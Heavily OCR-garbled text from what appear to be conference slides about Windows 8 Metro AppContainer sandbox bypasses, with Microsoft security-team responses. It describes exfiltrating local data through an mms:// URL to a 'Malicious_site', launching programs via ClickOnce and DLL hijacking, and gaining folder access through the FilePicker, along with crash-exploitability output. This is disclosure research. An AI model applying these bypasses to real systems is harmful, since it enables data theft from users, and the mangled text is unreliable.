o (atl.dl ATL Module for Windows XP {Unicode)

3 |boryptprimitives dil Windows Cryptographic Primitives Library
C_1252.MLS

rfamardd Al Crfin rating i

Compary Mame

Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

L £ =i

Version




B e

Hn:tHa:hznzNHnstﬂszr

Exscuting Frocessor FUDIDY PpUSn OQX

fohuggee 1= nfw== 70b35L75 push eax

e e Tainted Input Operands: eax

oocone Chance Beept - 20b35bL76 call dword ptr [ecx+18h)

Faulting Tnstzuct il Tainted Input Operands: ecx. StackConteats

Bazic Block:

et meeption Hash (Major/Minor): Oxlc2f2cla 0%3205657c

T0535B70 l=a =d
003574 push =dx
POLISEYE push =ax
Tainted Input Operands: =ax
FOLASEYE call dword ptr [ecx+lfh]
Tainted Input Operands: ecx. StackContents

Dezcription: Data fron Faulting Address controls Code F
hort Description. TaintedDataControlsCodeFlow

Exploitability Classification: PROBABLY_EXPLOITAELE

“ecomaended Bug Title Probably Exploitable - Dats f[ronm

ntdll|__RtlUEuTWhruadEtart+Uzia
ntdlll EtlUEErTEIEndEtaIE+lec

£ ~1 U pem s Ll DERLLEE L LS

De=cription: Data from Fauwlting Address controls Code Flow
Short Descriplicon: TaintedDatsContliolsCodsFlow

Ezploitability Classification: FPROBABLY_EEFLOITAELE
Fecommendsd Hug Tikle: Probably Exploitsble - Dats [ron Faulling Address controls Cods Flow sterbing ab bwinui |Clnmers:velp

The data {rom Lhe [faulting address 15 laler used ss Lhe targst [or & branch.




ATTACK DESIGN LOGIC




BYPASS INTERNET CONNECTION




!ypass Internet Connection Limitation H

Internet
A A A A

X

-
[ } © a




MSRC:

Such undesirable activities are highly
detectable by either users or the AV
industry, and once reported to
Microsoft, we have the ability to
remove the offending app from all user
machines, thus protecting Windows 8
users.



Bypass Internet Connection Limitation

Malicious site
A

2. mms://Malicious_sitef/information?data=ab41962ab

No I?Iemet capTility
Metro App )@

l 1. Access local sensitive information




BYPASS LAUNCH PROGRAM LIMITATION




Inline ASM and Shellcode

5
2

EECYCISBIN]

TYAR

Process ID CPU Private Bytes Working Set  Description Company Name Integrity
» |svchost exe 700 0.06 2176 K 8.596 K Host Process for Win... Microsoft Corporation System
n ' dllhost exe 424 2012K 12,112 K COM Sumogate Microsoft Comporation Medium
» ' Runtime Broker.exe 272 824 K 4,968 K Runtime Broker Microsoft Cormporation Medium
n ' AppC exe 140 199,160 K 211,836 K AppContainer
[ cmd .exe D64 1444 K 2,860 K Windows Command ... Microsoft Corporation AppContainer
=¥ conhost.exe 376 0.03 3.560 K 18.268 K Console Window Host Microsoft Comporation AppContainer
» ' ImeBroker.exe 536 2168 K 12,528 K Microsoft IME 2012 Microsoft Corporation Medium
8} svchost.exe C:\Windows\system32\cmd.exe L= | ) [ Forporation  System

m ' svchost exe

Type Name :\Users\User\Documents\Uisual Studio 11\Projects\AppC\Debug\AppC\AppX >forfiles
ALPC Port Sessions\1\Ag
Desktop \Default "App.xaml"
Directory \KnownDlls "AppC.exe"
Directory Sessions\1\Ag GFTLENT LN
File [SRUECSIEE A ppC . winmd "

tro\OLEB2A63E2B2B9972E45FDE

File WO A ppxManifest . xnl"
File Device\CNG | Iy

File \Windows\S| 5P kPage .xam1"
Key HKLM\SYSTE

ze"' :i(L:{IV‘I Soft "microsoft.system.package.metadata"’

ey U\Softwar{ ¥ e

\’e;' HKLM\SOFTV It

Key HKLM\SOFTV e

Key HKCU . . .

Key RSl - \Users\User\DocumentsWisual Studio 11\Projects\ppC\Debug\AppC\ippXiecd ..
Key EPEIRNelaniccess is denied.

Key HKCR\Activatd

Key AN lC - \Users\User\Documents\Visual Studio 11\Projects\AppC\Debug\AppC\AppX>

/- (N1 A R
<




is executable

Fublisher cannot be verified.
Are you sure you want to install this application?

Mame:
click

From (Hover over the string below to see the full domain):
10.1.144.115

Publisher:
Unknown Publisher

Con't Install

While applications from the Internet can be useful, they can potentially harm your computer. If
you de net trust the source, do not install this software, More Information...




. Process Explorer - Sysinternals: www.sysinternals.com [Win8\User]

File Options View Process Find DLL Users Help

d @ =08 x| @ad [

[ — = | N ]

Process FID CPU

Private Bytes Working Set  Description Compary Name

15,168 K 14,540 K Registry Editor Microsoft Corporation
o&eview.eme 44]84 18400 K 12,376 K OLE/COM Object Viewer Microsoft Corporation Mecim
=] g cmd exe H420 1624 K 2,652 K Windows Command Processor Microsoft Corporation High
[Z conhost exe 428 1.072K 6,788 K Console Window Host Microsoft Corporation High
gmm 004 357 19172 K 214,320 K Sysintemals Process Explorer  Sysintemals - www sysinter... High
&[DMHa'der.a:e 4148 <00 13324 K 18,664 K iDefense com High
Endepad.m 4212 1248 K 8.284 K Notepad Microsoft Corporation Medium
= uddevemr.me 2536 147 195912 K 413,904 K Microsoft Visual Studio 2012 ... Microsoft Corporation Medium
=l [m | Microsoft MisualStudio.Pe...| 4260 24916 K 36,524 K Microsoft. Visual Studio. PerfW... Microsoft Corporation Medium
2 conhost exe 3800 B4R K 4,288 K Console Window Host Microsoft Corporation Medium
= lﬁj,] MSBuild exe 1176 20644 K 38,356 K MSBuild exe Microsoft Corporation Medium
[ conhost exe 32 G4B K 4,284 K Console Window Host Microsoft Corporation Medium
5, mme.exe 220 0.29 29024 K 12,612 K Microsoft Management Cons... Microsoft Corporation High
= @ explore exe 5256 4704 K 17,100 K Intemet Explorer Microsoft Corparation Medium
@lexploreane h3z4 876 K 5.312 K Intemet Explorer Microsoft Corporation Low
v
MName Description Comparty Mame Version Path 2
RODODDOODDD0E.clb C\Windows'\Registration 000000000006 clb
mportd dil Remaote Procedurs Call Runtime Microsoft Corporation 6.2.8400.0 CAWindows'\System 32 vmpertd dil
rzaenh.dll Microsoft Enhanced Cryptographic... Microsoft Corporation 6.2.83400.0 CAWindows'\System 32rzaenh . dll
sechost.dll Host for SCM/SDDLALSA Lookup ... Microsoft Corporation 6.2.3400.0 CA\Windows'System 32\sechost dll
securd2.di Security Support Provider Interface  Microsoft Corporation 6.2.3400.0 CA\Windows'System 32 secur32 dll
setupapi dil Windows Setup AFI Microsoft Corporation 6.2 34000 CA\Windows' System 32 setupapi dil
SHCore dll SHCORE Microsoft Corparation 6284000 CA\Windows* System 32\ SHCare dll
shell 32 dil Windows Shell Common DIl Microsoft Corporation 6.2.8400.0 C:WWindows*\System 32'shell 32 dil
shiwapi di Shell Light-weight Ltility Librany Microzoft Corporation 6.2.8400.0 CAWindows\System 32 shhwapi dll
Sort Defautt nls CA\Windows \Globalization*SortingSort Default.nls !
sgmapi.dil SGM Client Microsoft Corporation 6.2.8400.0 C:A\Program Fileshntemet Explorersgmapi.dll
sspicli.di Security Support Provider Interface  Microsoft Corporation 6.2.3400.0 CA\Windows"System 32 sspicli dil
tracesdn dil CAlUsers'\ User Desktop™racesdn dil
urdmon dil (OLE3Z Exdtensions for Win32 Microsoft Corporation 10.0.8400.0 CA\Windows* System 32 urdmon dll
userd2 dil Multi-User Windows USER APICli..  Microsoft Corporation 6284000 CAWindows' System 32 wser32 dll
Letheme dil Microsoft LkcTheme Library Microzoft Corporation 6284000 CAWindows'System 32 etheme dil
winhttp.dil Windows HTTP Services Microzoft Corporation 6.2.8400.0 CAWindows \System 32 winhttp dil
wininet dll Intemet Exdtensions for Win32 Microsoft Corporation 10.0.8400.0 CAWindows"System 32 wininet.dil
winngi.dll Metwork Store Information RPCint... Microsoft Corporation 6.2.3400.0 CA\Windows"System 32 winnsi dil
ws2_32.dl Windows Socket 2.0 32-Bit DLL Microsoft Corporation 6.2.3400.0 CA\Windows'System 32 ws2 32.dll hl

CPU Usage: 8.82%

Lo leid

Commit Charge: 36.07%  Processes: 6.2 Physical Usage: 56.94%

iy

J-

o,

8:06 AM

._' 0]
P 6/20/2012




MSRC:

(ClickOnce)

ClickOnce problem will be fixed in next
Windows 8 release.

(DLL Hijacking)

We would consider this type of exploit a
vulnerability in the desktop applications
rather than a vulnerability in the metro app
or the platform. We continue to address DLL
hijacking bugs in security updates as
detailed in our security advisory for Insecure
Library loading.



BYPASS FILE/FOLDER ACCESS




Demo




FilePicker

* PickerHost.exe (the broker process)

— The broker process

— Medium permission
— When user need to save / read files from some specific
folder which is not specified in capability settings.

* Even you didn’t grant file system access to App, the
App still can use SavePickFile/PickFolder to let user
choice folders they want to access, such as save a file in

user-specified folders.

* After user clicking OK, the app can have full control of
the folder with broker permission.



F||eS v Desktop

Sort by name v

Libraries Bubbles2

bypass_APPContainert

Computer

bypass_APPContainer

bypass_APPContainer




MSRC:

This is a deliberate feature, and fully
under the user’s control. Users should
not click “ok” to the File picker dialog if
they do not want the app to have access
to that folder tree. We consider this
under the user’s control and as such do
not view it as a threat. .



Conclusion

* Introduced

— Security design of AppContainer

— The methodology of Metro style app vulnerability
discovery

— The issues we have discovered.

e Security v.s. convenience, a never solved
problem?

* Do users really know what will happen after
clicking ‘OK’?



Thanks!

http://exploitspace.blogspot.com/

Contact: (nanika_pan|tt_tsai)@trend\.com\.tw



